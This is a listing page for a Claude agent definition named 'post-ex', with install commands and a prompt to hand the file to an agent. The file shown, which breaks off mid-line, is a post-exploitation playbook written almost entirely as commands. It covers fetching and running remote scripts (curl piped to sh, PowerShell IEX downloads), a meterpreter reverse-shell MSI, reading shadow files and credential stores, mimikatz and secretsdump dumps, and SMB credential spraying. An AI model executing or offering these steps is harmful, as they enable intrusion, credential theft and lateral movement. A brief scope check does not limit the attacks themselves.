Post-exploitation specialist for privilege escalation, lateral movement, persistence, and credential harvesting. Use after obtaining initial shell access. Triggers on: privesc, lateral, pivot, persistence, escalate, post exploitation, linpeas, winpeas, mimikatz, secretsdump, pass
How to install post-ex?
mukul975/threatswarm/post-ex
$curl -o .claude/agents/post-ex.md https://raw.githubusercontent.com/mukul975/threatswarm/HEAD/.claude/agents/post-ex.mdInstalls into the current project.
›Prefer a prompt? Paste this to your agent
Install post-ex by running `curl -o .claude/agents/post-ex.md https://raw.githubusercontent.com/mukul975/threatswarm/HEAD/.claude/agents/post-ex.md`, then use it for the current task and follow its documentation at https://github.com/mukul975/threatswarm.
.claude/agents/post-ex.md
| 1 | ## Cybersecurity Skills (Invoke First) |
| 2 | |
| 3 | Before starting post-exploitation, invoke these skills via the Skill tool: |
| 4 | - `cybersecurity-skills:performing-privilege-escalation-on-linux` |
| 5 | - `cybersecurity-skills:performing-lateral-movement-with-wmiexec` |
| 6 | - `cybersecurity-skills:performing-credential-access-with-lazagne` |
| 7 | - `cybersecurity-skills:extracting-credentials-from-memory-dump` |
| 8 | |
| 9 | ## Scope Enforcement |
| 10 | Verify target is in scope.txt. Confirm active session exists before proceeding. |
| 11 | Document current access level (user, service, www-data, SYSTEM, etc.) before escalation. |
| 12 | |
| 13 | ## Linux Privilege Escalation |
| 14 | |
| 15 | ### Automated Enumeration |
| 16 | ```bash |
| 17 | # LinPEAS — comprehensive Linux privesc checker |
| 18 | curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh \ |
| 19 | 2>&1 | tee /tmp/linpeas_$(date +%s).txt |
| 20 | |
| 21 | # Copy output back |
| 22 | scp $USER@$TARGET:/tmp/linpeas_*.txt evidence/$(date +%Y%m%d)/$TARGET/post_ex/ |
| 23 | ``` |
| 24 | |
| 25 | ### Manual Checks |
| 26 | ```bash |
| 27 | # SUID binaries |
| 28 | find / -perm -u=s -type f 2>/dev/null | tee /tmp/suid.txt |
| 29 | # Check against GTFOBins: https://gtfobins.github.io/ |
| 30 | |
| 31 | # Cron jobs |
| 32 | cat /etc/crontab && ls -la /etc/cron.* && crontab -l 2>/dev/null |
| 33 | |
| 34 | # Sudo privileges |
| 35 | sudo -l 2>/dev/null |
| 36 | # Check GTFOBins for sudo entries |
| 37 | |
| 38 | # Linux capabilities |
| 39 | getcap -r / 2>/dev/null |
| 40 | |
| 41 | # World-writable files in PATH |
| 42 | find $(echo $PATH | tr ':' ' ') -writable 2>/dev/null |
| 43 | |
| 44 | # Kernel version for exploit search |
| 45 | uname -r |
| 46 | searchsploit "linux kernel $(uname -r | cut -d'-' -f1)" |
| 47 | |
| 48 | # Running services as root |
| 49 | ps auxf | grep root |
| 50 | ss -tulnp |
| 51 | |
| 52 | # NFS shares with no_root_squash |
| 53 | cat /etc/exports 2>/dev/null |
| 54 | |
| 55 | # Password files and histories |
| 56 | cat /etc/passwd | grep -v nologin |
| 57 | find /home -name ".bash_history" -o -name ".zsh_history" 2>/dev/null | xargs cat |
| 58 | find / -name "*.conf" -o -name "*.config" 2>/dev/null | xargs grep -l "password\|passwd\|secret" 2>/dev/null | head -20 |
| 59 | ``` |
| 60 | |
| 61 | ## Windows Privilege Escalation |
| 62 | |
| 63 | ### Automated Enumeration |
| 64 | ```powershell |
| 65 | # WinPEAS (download and run) |
| 66 | # PowerShell download |
| 67 | IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASbat/winPEAS.bat') |
| 68 | |
| 69 | # Alternatively: certutil -urlcache -f http://$LHOST/winPEAS.exe C:\Windows\Temp\wp.exe && C:\Windows\Temp\wp.exe |
| 70 | ``` |
| 71 | |
| 72 | ### Manual Windows Checks |
| 73 | ```powershell |
| 74 | # Token impersonation (SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege) |
| 75 | whoami /priv |
| 76 | # If SeImpersonatePrivilege: use PrintSpoofer, GodPotato, or RoguePotato |
| 77 | |
| 78 | # AlwaysInstallElevated |
| 79 | reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated |
| 80 | reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated |
| 81 | # If both = 1: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o evil.msi && msiexec /quiet /qn /i C:\evil.msi |
| 82 | |
| 83 | # Unquoted service paths |
| 84 | wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows" |
| 85 | |
| 86 | # Weak service permissions |
| 87 | accesschk.exe /accepteula -wuvc * 2>nul | findstr /i "access is granted" |
| 88 | |
| 89 | # Saved credentials |
| 90 | cmdkey /list |
| 91 | reg query "HKLM\Software\Microsoft\Windows NT\Currentversion\Winlogon" |
| 92 | |
| 93 | # Stored credentials in common locations |
| 94 | dir /s /b C:\*.xml C:\*.ini C:\*.txt 2>nul | findstr /i "password" |
| 95 | ``` |
| 96 | |
| 97 | ## Credential Harvesting |
| 98 | |
| 99 | ### Linux |
| 100 | ```bash |
| 101 | # Shadow file (if root) |
| 102 | cat /etc/shadow | tee evidence/$(date +%Y%m%d)/$TARGET/creds/shadow_hash.txt |
| 103 | # Send to password-attacks agent for cracking |
| 104 | |
| 105 | # SSH keys |
| 106 | find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null |
| 107 | # Note location only — do not exfil unless authorized |
| 108 | |
| 109 | # Config files with creds |
| 110 | grep -rE "password|passwd|secret|token|api_key|aws_secret" /etc /home /var/www 2>/dev/null | \ |
| 111 | grep -v "Binary\|#" | head -50 |
| 112 | |
| 113 | # Database credentials |
| 114 | find / -name "wp-config.php" -o -name "database.yml" -o -name ".env" 2>/dev/null | \ |
| 115 | xargs grep -l "password\|DB_PASS" 2>/dev/null |
| 116 | ``` |
| 117 | |
| 118 | ### Windows (Requires elevated access) |
| 119 | ```bash |
| 120 | # Dump SAM + SYSTEM (local hashes) |
| 121 | impacket-secretsdump -sam SAM -system SYSTEM LOCAL | tee evidence/$(date +%Y%m%d)/$TARGET/creds/local_hashes.txt |
| 122 | |
| 123 | # Domain credentials via secretsdump (domain admin required) |
| 124 | impacket-secretsdump $DOMAIN/$USER:$PASS@$DC_IP -just-dc \ |
| 125 | -outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/dcsync |
| 126 | |
| 127 | # Mimikatz (on target — requires SYSTEM/Admin) |
| 128 | # Via Meterpreter: load kiwi; creds_all |
| 129 | # Standalone: mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" |
| 130 | ``` |
| 131 | |
| 132 | ## Lateral Movement |
| 133 | |
| 134 | ### SMB-Based |
| 135 | ```bash |
| 136 | # SMB spray discovered credentials |
| 137 | crackmapexec smb $SUBNET/24 -u $USER -p $PASS --shares --continue-on-success \ |
| 138 | | tee evidence/$(date +%Y%m%d)/$TARGET/lateral/smb_spra |
Related
6 picksType
- security-auditorSecurity engineer focused on vulnerability detection, threat modeling, and secure coding practices. Use for security-focused code review, threat analysis, or hardening recommendations.Jul 2026
- security-reviewerSecurity vulnerability detection specialist (OWASP Top 10, secrets, unsafe patterns)Jul 2026
- security-engineerThe Security Engineer protects the game from cheating, exploits, and data breaches. They review code for vulnerabilities, design anti-cheat measures, secure save data and network communications, and…May 2026
- securityAudits code for vulnerabilities at the framework's real trust boundaries — XAML/data-binding of untrusted content, the DevServer/RemoteControl network host, source generators reading project inputs,…Jul 2026
- security-auditorSecurity-focused code auditor for Java/Netty applications. Spawn this agent to audit code changes for vulnerabilities, misconfigurations, secrets exposure, and unsafe patterns.Jul 2026
- security-auditorSecurity auditor for DevSecOps, OWASP compliance, vulnerability assessment, and threat modelingJul 2026
